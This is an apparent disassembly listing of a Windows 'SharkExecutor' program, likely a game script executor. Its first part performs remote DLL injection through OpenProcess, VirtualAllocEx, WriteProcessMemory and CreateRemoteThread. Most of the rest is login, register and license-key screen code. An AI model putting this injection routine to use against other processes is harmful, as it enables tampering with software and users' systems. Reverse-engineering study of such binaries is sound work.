call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400400c7
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r8, eax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400400c7
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0xc0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400400c7
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400400c7
lea rdx, [0x14010c098]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400400c7
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor r9d, r9d
lea r8, str.SharkExecutor
lea rdx, str.Injected_Succesfully_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140041868
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.SharkExecutor
lea rdx, str.Error_while_downloading_0x03_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004186d
mov r8d, dword [0x140120148]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [0x140120140]
call fcn.14000dbe0
mov rbx, qword [0x140163780]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
mov rdi, qword [rax + 0x2a8]
movss xmm11, dword [rax + 0x28]
movss xmm12, dword [rax + 0x2c]
movss xmm13, dword [rax + 0x30]
movss xmm14, dword [rax + 0x34]
mov qword [rsp + 0x30], r15
lea r14, str.SHARK
mov qword [rsp + 0x28], r14
movss xmm9, dword [0x14010de54]
movss dword [rsp + 0x20], xmm9
movss xmm8, dword [0x14010de44]
movaps xmm3, xmm8
movss xmm7, dword [0x14010ddc0]
movaps xmm2, xmm7
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
movss xmm6, dword [0x14010dd54]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm10, eax
cvtdq2ps xmm10, xmm10
mov qword [rsp + 0x30], r15
lea r15, str.EXECUTOR
mov qword [rsp + 0x28], r15
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movaps xmm2, xmm7
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm15, eax
cvtdq2ps xmm15, xmm15
xor r13d, r13d
mov qword [rsp + 0x30], r13
lea r12, str.ELEVATING_YOUR_EXPERIENCE
mov qword [rsp + 0x28], r12
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movss xmm2, dword [0x14010dda8]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
mov qword [rsp + 0x30], r13
lea r13, str.Register
mov qword [rsp + 0x28], r13
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm8
movss xmm2, dword [0x14010ddb0]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
addss xmm10, xmm15
movaps xmm8, xmm13
movss xmm0, dword [0x14010dd24]
mulss xmm8, xmm0
addss xmm8, xmm11
mulss xmm10, xmm0
movaps xmm6, xmm8
subss xmm6, xmm10
addss xmm15, xmm6
subss xmm15, dword [0x14010ddd0]
mulss xmm1, xmm0
movaps xmm10, xmm8
subss xmm10, xmm1
mulss xmm7, xmm0
subss xmm8, xmm7
movaps xmm0, xmmword [0x14010e020]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
movaps xmm9, xmm12
addss xmm9, dword [0x14010ddc8]
movss dword [rbp + 0x48], xmm6
movss dword [rbp + 0x4c], xmm9
mov r8, qword [0x140163a90]
xorps xmm6, xmm6
test eax, 0xff000000
je 0x14004038a
test r8, r8
jne 0x140040333
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c0e5]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x48]
movss xmm7, dword [0x14010ddc0]
movaps xmm2, xmm7
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
jmp 0x140040392
movss xmm7, dword [0x14010ddc0]
movaps xmm0, xmmword [0x14010e000]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov r9d, eax
movss dword [rbp + 0x48], xmm15
movss dword [rbp + 0x4c], xmm9
test eax, 0xff000000
je 0x140040417
test r8, r8
jne 0x1400403c9
mov rcx, qword [rdi + 0x38]
mov r8, qword [rcx + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c0f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x48]
movaps xmm2, xmm7
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
movaps xmm0, xmmword [0x14010dfc0]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
movaps xmm0, xmm12
addss xmm0, dword [0x14010ddd8]
movss dword [rbp + 0x48], xmm8
movss dword [rbp + 0x4c], xmm0
test eax, 0xff000000
je 0x1400404aa
test r8, r8
jne 0x140040458
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c111]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x48]
movss xmm2, dword [0x14010dda8]
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
movaps xmm0, xmmword [0x14010e020]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
addss xmm12, xmm14
subss xmm12, dword [0x14010de1c]
movss dword [rbp + 0x48], xmm10
movss dword [rbp + 0x4c], xmm12
test eax, 0xff000000
je 0x140040539
test r8, r8
jne 0x1400404ee
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c148]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x48]
movss xmm2, dword [0x14010ddb0]
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
movaps xmm2, xmm14
subss xmm2, dword [0x14010de14]
mulss xmm13, dword [0x14010dd24]
subss xmm13, dword [0x14010ddf0]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, xmm13
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
mov qword [rbp + 0x48], 0
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r15, [0x140163790]
mov r8, r15
xor edx, edx
lea rcx, str.__Username
call fcn.140033430
movaps xmm0, xmm14
subss xmm0, dword [0x14010de04]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm0
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm13
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
mov qword [rbp + 0x48], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r14, [0x140163990]
mov r8, r14
xor edx, edx
lea rcx, str.__Password
call fcn.140033430
movaps xmm0, xmm14
subss xmm0, dword [0x14010ddf4]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm0
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm13
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
mov qword [rbp + 0x48], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea rdi, [0x140163890]
mov r8, rdi
xor edx, edx
lea rcx, str.__License_Key
call fcn.140033430
subss xmm14, dword [0x14010dddc]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm14
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm13
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov dword [rbp + 0x48], 0x437a0000
mov dword [rbp + 0x4c], 0x42340000
lea rdx, [rbp + 0x48]
lea rcx, str.REGISTER
call fcn.14002fb70
test al, al
je 0x140041868
lea rax, [rsp + 0x50]
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
xor r8d, r8d
lea rdx, [0x1400cca4f]
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140040830
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.14003d9e0
nop
lea rax, [rbp - 0x50]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov r8, rsi
inc r8
cmp byte [r14 + r8], 0
jne 0x140040861
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.14003d9e0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rbx
mov qword [rbp], rbx
nop word [rax + rax]
inc rsi
cmp byte [r15 + rsi], 0
jne 0x140040890
mov r8, rsi
mov rdx, r15
lea rcx, [rbp - 0x18]
call fcn.14003d9e0
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x18]
lea rcx, [0x140163ac0]
call fcn.140064330
cmp byte [0x140163cd0], 0
jne 0x140040903
lea rdx, [0x140163cd8]
cmp qword [0x140163cf0], 0xf
cmova rdx, qword [0x140163cd8]
xor r9d, r9d
lea r8, str.Error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004185e
mov dword [0x140163788], ebx
jmp 0x140041868
mov r8d, dword [0x140120148]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [0x140120140]
call fcn.14000dbe0
mov rbx, qword [0x140163780]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
mov rdi, qword [rax + 0x2a8]
mov qword [rbp + 0x48], rdi
movss xmm0, dword [rax + 0x28]
movss dword [rsp + 0x70], xmm0
movss xmm0, dword [rax + 0x2c]
movss dword [rbp + 0x50], xmm0
movss xmm14, dword [rax + 0x30]
movss xmm13, dword [rax + 0x34]
mov qword [rsp + 0x30], r15
lea r14, str.SHARK
mov qword [rsp + 0x28], r14
movss xmm11, dword [0x14010de54]
movss dword [rsp + 0x20], xmm11
movss xmm10, dword [0x14010de44]
movaps xmm3, xmm10
movss xmm15, dword [0x14010ddc0]
movaps xmm2, xmm15
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rsp + 0x78]
movss xmm6, dword [0x14010dd54]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm12, eax
cvtdq2ps xmm12, xmm12
mov qword [rsp + 0x30], r15
lea r15, str.EXECUTOR
mov qword [rsp + 0x28], r15
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movaps xmm2, xmm15
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rsp + 0x78]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x20], xmm1
mov qword [rsp + 0x30], 0
lea rax, str.ELEVATING_YOUR_EXPERIENCE
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movss xmm7, dword [0x14010dda8]
movaps xmm2, xmm7
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rsp + 0x78]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm9, eax
cvtdq2ps xmm9, xmm9
mov qword [rsp + 0x30], 0
lea rax, str.Authentication
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movss xmm2, dword [0x14010ddb0]
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rsp + 0x78]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm8, eax
cvtdq2ps xmm8, xmm8
mov qword [rsp + 0x30], 0
lea rax, str.Dont_have_an_account_
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movaps xmm2, xmm7
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rsp + 0x78]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
mov qword [rsp + 0x30], 0
lea rax, str.Register
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
movaps xmm3, xmm10
movss xmm2, dword [0x14010dda8]
lea rdx, [rsp + 0x78]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rsp + 0x78]
addss xmm0, xmm6
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm10, dword [rbp - 0x20]
addss xmm12, xmm10
addss xmm7, xmm1
movaps xmm2, xmm14
movss xmm0, dword [0x14010dd24]
mulss xmm2, xmm0
addss xmm2, dword [rsp + 0x70]
mulss xmm12, xmm0
movaps xmm6, xmm2
subss xmm6, xmm12
addss xmm10, xmm6
subss xmm10, dword [0x14010ddd0]
mulss xmm9, xmm0
movaps xmm11, xmm2
subss xmm11, xmm9
mulss xmm8, xmm0
movaps xmm9, xmm2
subss xmm9, xmm8
mulss xmm7, xmm0
subss xmm2, xmm7
movss dword [rbp - 0x20], xmm2
mulss xmm1, dword [0x14010dd78]
addss xmm1, xmm2
movss dword [rsp + 0x78], xmm1
movaps xmm0, xmmword [0x14010e020]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
movss xmm8, dword [rbp + 0x50]
movaps xmm7, xmm8
addss xmm7, dword [0x14010ddc8]
movss dword [rbp + 0x50], xmm6
movss dword [rbp + 0x54], xmm7
mov r8, qword [0x140163a90]
xorps xmm6, xmm6
test eax, 0xff000000
je 0x140040c79
test r8, r8
jne 0x140040c2b
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c0e5]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x50]
movaps xmm2, xmm15
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
movaps xmm0, xmmword [0x14010e000]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov r9d, eax
movss dword [rbp + 0x50], xmm10
movss dword [rbp + 0x54], xmm7
test eax, 0xff000000
je 0x140040cfe
test r8, r8
jne 0x140040caf
mov rcx, qword [rdi + 0x38]
mov r8, qword [rcx + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c0f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x50]
movaps xmm2, xmm15
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
movaps xmm0, xmmword [0x14010dfc0]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
movaps xmm0, xmm8
movss xmm7, dword [0x14010ddd8]
addss xmm0, xmm7
movss dword [rbp + 0x50], xmm11
movss dword [rbp + 0x54], xmm0
test eax, 0xff000000
je 0x140040da3
test r8, r8
jne 0x140040d43
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c111]
mov qword [rsp + 0x38], rax
lea rax, str.ELEVATING_YOUR_EXPERIENCE
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x50]
movss xmm10, dword [0x14010dda8]
movaps xmm2, xmm10
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
jmp 0x140040dac
movss xmm10, dword [0x14010dda8]
movaps xmm0, xmmword [0x14010e020]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
movaps xmm0, xmm8
addss xmm0, xmm13
subss xmm0, dword [0x14010de1c]
movss dword [rbp + 0x50], xmm9
movss dword [rbp + 0x54], xmm0
test eax, 0xff000000
je 0x140040e44
test r8, r8
jne 0x140040df2
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm6
lea rax, [0x14010c126]
mov qword [rsp + 0x38], rax
lea rax, str.Authentication
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x50]
movss xmm2, dword [0x14010ddb0]
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
movaps xmm2, xmm13
subss xmm2, dword [0x14010de08]
mulss xmm14, dword [0x14010dd24]
subss xmm14, dword [0x14010ddf0]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, xmm14
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
mov qword [rbp + 0x50], 0
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r15, [0x140163790]
mov r8, r15
xor edx, edx
lea rcx, str.__Username
call fcn.140033430
movaps xmm2, xmm13
subss xmm2, dword [0x14010ddfc]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, xmm14
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
or dword [rcx + 0x4990], 1
mov dword [rcx + 0x49a0], 0x437a0000
mov qword [rbp + 0x50], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r14, [0x140163990]
mov r8, r14
xor edx, edx
lea rcx, str.__Password
call fcn.140033430
movaps xmm2, xmm13
subss xmm2, dword [0x14010dde8]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm2, xmm0
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, xmm14
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
mov dword [rbp + 0x50], 0x437a0000
mov dword [rbp + 0x54], 0x42340000
lea rdx, [rbp + 0x50]
lea rcx, str.LOGIN
call fcn.14002fb70
test al, al
je 0x14004174c
mov rdi, qword [0x140163d68]
lea rbx, [0x140163d58]
cmp qword [0x140163d70], 0xf
cmova rbx, qword [0x140163d58]
call fcn.1400b9b20
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rdi
lea r8, [rbp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.14003b9a0
nop
lea rcx, [rsp + 0x50]
call fcn.14003c440
movzx ebx, al
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400410ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400410c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400410c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
test bl, bl
je 0x1400410ef
lea rcx, [0x140163d58]
cmp qword [0x140163d70], 0xf
cmova rcx, qword [0x140163d58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rsp + 0x50]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor edi, edi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8, rsi
nop
inc r8
cmp byte [r14 + r8], dil
jne 0x140041110
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x140041140
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.14003d9e0
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [0x140163ac0]
call fcn.140061f60
lea rax, [rsp + 0x50]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x140041190
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8d, 8
lea rdx, str.password
lea rcx, [rbp - 0x80]
call fcn.14003d9e0
nop
lea rax, [rbp - 0x50]
mov qword [rbp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov r8, rsi
inc r8
cmp byte [r15 + r8], 0
jne 0x1400411f0
mov rdx, r15
lea rcx, [rbp - 0x50]
call fcn.14003d9e0
nop
lea rax, [rbp - 0x18]
mov qword [rbp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rdi
mov qword [rbp], rdi
mov r8d, 8
lea rdx, str.username
lea rcx, [rbp - 0x18]
call fcn.14003d9e0
nop
lea rdx, [0x140163d58]
lea rcx, [rbp + 8]
call fcn.140043b10
nop
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x18]
mov rcx, rax
call fcn.14003dd60
cmp byte [0x140163cd0], 0
jne 0x1400412a6
lea rdx, [0x140163cd8]
cmp qword [0x140163cf0], 0xf
cmova rdx, qword [0x140163cd8]
xor r9d, r9d
lea r8, str.Error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [0x140163788], edi
jmp 0x140041748
lea r8, [0x140163b60]
lea rcx, [rsp + 0x50]
call fcn.140046540
mov rbx, rax
cmp r12, rax
je 0x140041337
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x1400412fc
mov rcx, qword [0x140162308]
inc rdx
cmp rdx, 0x1000
jb 0x1400412f7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004136b
mov rcx, r8
call fcn.1400b8cfc
movdqa xmm0, xmmword [0x14010dea0]
movdqu xmmword [0x140162318], xmm0
mov byte [0x140162308], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140162308], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140162318], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140041377
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041372
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
